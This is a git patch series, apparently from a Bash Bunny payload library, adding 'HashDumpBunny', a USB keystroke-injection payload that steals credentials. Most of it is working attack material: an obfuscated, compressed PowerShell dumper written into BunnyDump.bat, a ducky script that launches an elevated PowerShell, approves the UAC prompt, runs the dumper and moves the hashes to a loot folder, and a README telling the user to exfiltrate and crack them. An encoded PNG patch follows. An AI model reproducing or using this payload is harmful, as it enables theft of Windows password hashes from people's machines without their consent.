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'),[iO.coMPRESSiOn.cOmPressiONmODE]::decoMpRESS)),[sYsTEm.TexT.ENCoDIng]::AsCii)).REAdtOEnd( ) > out.txt" \ No newline at end of file diff --git a/payloads/library/credentials/HashDumpBunny/README.md b/payloads/library/credentials/HashDumpBunny/README.md new file mode 100644 index 00000000..eddfc820 --- /dev/null +++ b/payloads/library/credentials/HashDumpBunny/README.md @@ -0,0 +1,15 @@ +**Title: HashDumpBunny** + +Author: 0iphor13 + +Version: 1.0 + +# + +**Instruction:** + +Place BunnyDump.bat in the same payload switch-folder as your payload.txt +# +Plug in BashBunny. +Exfiltrate the out.txt file and try to crack the hashes. +![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/credentials/HashDumpBunny/censoredhash.png) \ No newline at end of file diff --git a/payloads/library/credentials/HashDumpBunny/payload.txt b/payloads/library/credentials/HashDumpBunny/payload.txt new file mode 100644 index 00000000..f21e4a36 --- /dev/null +++ b/payloads/library/credentials/HashDumpBunny/payload.txt @@ -0,0 +1,44 @@ +#!/bin/bash +# +# Title: HashDumpBunny +# Description: Dump user hashes with this script, which was obfuscated with multiple layers. +# Author: 0iphor13 +# Version: 1.0 +# Category: Credentials +# Attackmodes: HID, Storage + +LED SETUP + +Q DELAY 500 + +GET SWITCH_POSITION +DUCKY_LANG de + +Q DELAY 500 + +ATTACKMODE HID STORAGE + +#LED STAGE1 - DON'T EJECT - PAYLOAD RUNNING + +LED STAGE1 + +#After you have adapted the delays for your target, add "-W hidden" +Q DELAY 1000 +RUN WIN "powershell Start-Process powershell -Verb runAs" +Q ENTER +Q DELAY 1000 +Q ALT j +Q DELAY 250 + +Q DELAY 250 +Q STRING "iex((gwmi win32_volume -f 'label=''BashBunny''').Name+'\payloads\\$SWITCH_POSITION\BunnyDump.bat')" +Q DELAY 250 +Q STRING " ;mv out.txt ((gwmi win32_volume -f 'label=''BashBunny''').Name+'\loot');\$bb = (gwmi win32_volume -f 'l" +Q DELAY 250 +Q STRING "abel=''BashBunny''').Name;Start-Sleep 1;New-Item -ItemType file \$bb'DONE';(New-Object -comObject Shell.Application).Nam" +Q DELAY 250 +Q STRING "espace(17).ParseName(\$bb).InvokeVerb('Eject');Start-Sleep -s 5;Exit" +Q DELAY 300 +Q ENTER + +LED FINISH \ No newline at end of file From ab466f52e5383c7430c5e739d700af35f89a1986 Mon Sep 17 00:00:00 2001 From: 0iphor13 <79219148+0iphor13@users.noreply.github.com> Date: Wed, 2 Feb 2022 13:56:28 +0100 Subject: [PATCH 35/59] added example picture --- .../credentials/HashDumpBunny/censoredhash.png | Bin 0 -> 13279 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 payloads/library/credentials/HashDumpBunny/censoredhash.png diff --git a/payloads/library/credentials/HashDumpBunny/censoredhash.png b/payloads/library/credentials/HashDumpBunny/censoredhash.png new file mode 100644 index 0000000000000000000000000000000000000000..b09ac7546d843441619abfce89f64777d414f17e GIT binary patch literal 13279 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 